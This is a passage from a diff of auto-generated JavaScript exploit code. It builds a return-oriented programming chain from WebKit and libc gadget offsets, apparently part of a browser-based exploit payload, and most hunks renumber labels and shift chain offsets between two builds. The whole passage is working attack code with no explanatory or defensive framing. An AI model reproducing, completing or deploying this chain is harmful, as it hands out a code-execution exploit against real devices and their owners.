//mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+66016, //L7 +ropchain+66008, //L6 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7: +//L6: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L8: @@ -116,22 +115,22 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+270800, //mov ax, [rdi] libc_base+793877, //pop rsi -ropchain+66192, //L12 +ropchain+66184, //L12 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+66144, //L9 +ropchain+66136, //L10 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+66176, //L11 +ropchain+66168, //L11 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L9: +//L10: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L10: +//L9: db([16, 0]); // 0x10 set_gadget(libc_base+206806,); //pop rdi //L11: @@ -142,7 +141,7 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+66248, //L14 +ropchain+66240, //L14 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi @@ -152,21 +151,21 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+66352, //L15 +ropchain+66344, //L16 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+66384, //L17 +ropchain+66376, //L17 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+66368, //L16 +ropchain+66360, //L15 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L15: +//L16: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L16: +//L15: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L17: @@ -174,22 +173,22 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+66544, //L21 +ropchain+66536, //L21 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+66496, //L18 +ropchain+66488, //L19 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+66528, //L20 +ropchain+66520, //L20 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L18: +//L19: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L19: +//L18: db([48, 0]); // 0x30 set_gadget(libc_base+206806,); //pop rdi //L20: @@ -201,11 +200,11 @@ set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+66648, //L23 +ropchain+66640, //L23 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+66632, //L22 +ropchain+66624, //L22 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -235,18 +234,18 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+66856, //L28 +ropchain+66848, //L28 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+66824, //L26 +ropchain+66816, //L27 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L26: +//L27: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L27: +//L26: db([48, 0]); // 0x30 set_gadget(libc_base+788575,); //pop rax //L28: @@ -255,11 +254,11 @@ set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+66960, //L30 +ropchain+66952, //L30 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+66944, //L29 +ropchain+66936, //L29 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -274,29 +273,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+67056, //L33 +ropchain+67032, //L31 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L31: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L33: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L32: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+67160, //L36 +ropchain+67152, //L36 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+67144, //L35 +ropchain+67136, //L34 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L35: +//L34: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L36: @@ -304,22 +303,22 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+270800, //mov ax, [rdi] libc_base+793877, //pop rsi -ropchain+67320, //L40 +ropchain+67312, //L40 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+67272, //L37 +ropchain+67264, //L38 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+67304, //L39 +ropchain+67296, //L39 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L37: +//L38: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L38: +//L37: db([16, 0]); // 0x10 set_gadget(libc_base+206806,); //pop rdi //L39: @@ -330,7 +329,7 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+67376, //L42 +ropchain+67368, //L42 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi @@ -340,21 +339,21 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+67480, //L43 +ropchain+67472, //L44 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+67512, //L45 +ropchain+67504, //L45 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+67496, //L44 +ropchain+67488, //L43 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L43: +//L44: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L44: +//L43: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L45: @@ -362,22 +361,22 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+67672, //L49 +ropchain+67664, //L49 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+67624, //L46 +ropchain+67616, //L47 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+67656, //L48 +ropchain+67648, //L48 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L46: +//L47: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L47: +//L46: db([48, 0]); // 0x30 set_gadget(libc_base+206806,); //pop rdi //L48: @@ -389,11 +388,11 @@ set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+67776, //L51 +ropchain+67768, //L51 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+67760, //L50 +ropchain+67752, //L50 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -422,18 +421,18 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+67976, //L56 +ropchain+67968, //L56 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+67944, //L54 +ropchain+67936, //L55 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L54: +//L55: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L55: +//L54: db([32, 0]); // 0x20 set_gadget(libc_base+788575,); //pop rax //L56: @@ -442,11 +441,11 @@ set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+68080, //L58 +ropchain+68072, //L58 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+68064, //L57 +ropchain+68056, //L57 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -458,18 +457,18 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+68192, //L61 +ropchain+68184, //L61 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+68160, //L59 +ropchain+68152, //L60 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L59: +//L60: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L60: +//L59: db([48, 0]); // 0x30 set_gadget(libc_base+788575,); //pop rax //L61: @@ -478,7 +477,7 @@ set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+68256, //L62 +ropchain+68248, //L62 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+792472 //pop rcx @@ -488,12 +487,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+68312, //L65 +ropchain+68304, //L64 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L65: +//L64: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -501,14 +500,14 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+75236, //or rax, rcx libc_base+793877, //pop rsi -ropchain+68456, //L67 +ropchain+68448, //L67 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+68472, //L68 +ropchain+68464, //L68 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+68440, //L66 +ropchain+68432, //L66 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); @@ -523,14 +522,14 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+68576, //L69 +ropchain+68568, //L69 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+68608, //L71 +ropchain+68600, //L71 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+68592, //L70 +ropchain+68584, //L70 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -550,10 +549,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+68704, //L72 +ropchain+68696, //L72 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+68720, //L73 +ropchain+68712, //L73 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); @@ -570,10 +569,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+68832, //L74 +ropchain+68824, //L74 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+68816, //L75 +ropchain+68808, //L75 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); @@ -584,11 +583,11 @@ set_gadget(libc_base+811575,); //pop rsp db([0, 0]); // 0x0 set_gadgets([ libc_base+793877, //pop rsi -ropchain+68920, //L77 +ropchain+68912, //L77 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+68904, //L76 +ropchain+68896, //L76 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -605,10 +604,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+69016, //L78 +ropchain+69008, //L78 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+69032, //L79 +ropchain+69024, //L79 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); @@ -625,10 +624,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+69144, //L80 +ropchain+69136, //L80 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+69128, //L81 +ropchain+69120, //L81 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); @@ -643,47 +642,46 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+69216, //L83 +ropchain+69208, //L82 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L83: +//L82: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+69328, //L86 -webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+69344, //L87 +ropchain+69296, //L84 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+69328, //L87 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); //L84: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L85: db([16, 0]); // 0x10 set_gadget(webkit_base+432898,); //pop r8 -//L86: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx //L87: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+69448, //L90 +ropchain+69432, //L90 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+69432, //L89 +ropchain+69416, //L88 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L89: +//L88: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L90: @@ -691,25 +689,25 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+69616, //L93 +ropchain+69600, //L93 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+69632, //L94 +ropchain+69616, //L94 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi ropchain+69584, //L91 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+69600, //L92 +ropchain+69568, //L92 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L91: +//L92: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L92: +//L91: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L93: @@ -720,11 +718,11 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+69728, //L96 +ropchain+69712, //L96 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+69712, //L95 +ropchain+69696, //L95 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -753,18 +751,18 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+69928, //L101 +ropchain+69912, //L101 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+69896, //L99 +ropchain+69880, //L100 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L99: +//L100: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L100: +//L99: db([32, 0]); // 0x20 set_gadget(libc_base+788575,); //pop rax //L101: @@ -773,11 +771,11 @@ set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+70032, //L103 +ropchain+70016, //L103 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+70016, //L102 +ropchain+70000, //L102 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -795,29 +793,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+70136, //L106 +ropchain+70104, //L104 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L104: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L106: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L105: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+70240, //L109 +ropchain+70224, //L109 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+70224, //L108 +ropchain+70208, //L107 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L108: +//L107: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L109: @@ -825,25 +823,25 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+70408, //L112 +ropchain+70392, //L112 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+70424, //L113 +ropchain+70408, //L113 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi ropchain+70376, //L110 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+70392, //L111 +ropchain+70360, //L111 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L110: +//L111: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L111: +//L110: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L112: @@ -854,11 +852,11 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+70520, //L115 +ropchain+70504, //L115 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+70504, //L114 +ropchain+70488, //L114 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -880,12 +878,12 @@ db([16711680, 0]); // 0xff0000 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+70632, //L119 +ropchain+70616, //L118 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L119: +//L118: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -913,18 +911,18 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+70864, //L124 +ropchain+70848, //L124 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+70832, //L122 +ropchain+70816, //L123 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L122: +//L123: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L123: +//L122: db([32, 0]); // 0x20 set_gadget(libc_base+788575,); //pop rax //L124: @@ -933,11 +931,11 @@ set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+70968, //L126 +ropchain+70952, //L126 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+70952, //L125 +ropchain+70936, //L125 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -949,7 +947,7 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+71024, //L127 +ropchain+71008, //L127 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -959,12 +957,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+71080, //L130 +ropchain+71064, //L129 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L130: +//L129: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -978,29 +976,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+71208, //L133 +ropchain+71176, //L131 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L131: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L133: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L132: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+71312, //L136 +ropchain+71296, //L136 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+71296, //L135 +ropchain+71280, //L134 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L135: +//L134: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L136: @@ -1008,25 +1006,25 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+71480, //L139 +ropchain+71464, //L139 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+71496, //L140 +ropchain+71480, //L140 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi ropchain+71448, //L137 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+71464, //L138 +ropchain+71432, //L138 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L137: +//L138: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L138: +//L137: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L139: @@ -1037,11 +1035,11 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+71592, //L142 +ropchain+71576, //L142 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+71576, //L141 +ropchain+71560, //L141 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -1063,12 +1061,12 @@ db([65280, 0]); // 0xff00 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+71704, //L146 +ropchain+71688, //L145 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L146: +//L145: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -1097,7 +1095,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+71888, //L149 +ropchain+71872, //L149 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -1107,12 +1105,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+71944, //L152 +ropchain+71928, //L151 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L152: +//L151: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -1126,29 +1124,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+72072, //L155 +ropchain+72040, //L153 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L153: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L155: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L154: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+72176, //L158 +ropchain+72160, //L158 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+72160, //L157 +ropchain+72144, //L156 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L157: +//L156: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L158: @@ -1156,25 +1154,25 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+72344, //L161 +ropchain+72328, //L161 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+72360, //L162 +ropchain+72344, //L162 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi ropchain+72312, //L159 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+72328, //L160 +ropchain+72296, //L160 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L159: +//L160: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L160: +//L159: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L161: @@ -1185,11 +1183,11 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+72456, //L164 +ropchain+72440, //L164 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+72440, //L163 +ropchain+72424, //L163 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -1219,7 +1217,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+72608, //L167 +ropchain+72592, //L167 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -1229,12 +1227,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+72664, //L170 +ropchain+72648, //L169 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L170: +//L169: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -1242,18 +1240,18 @@ 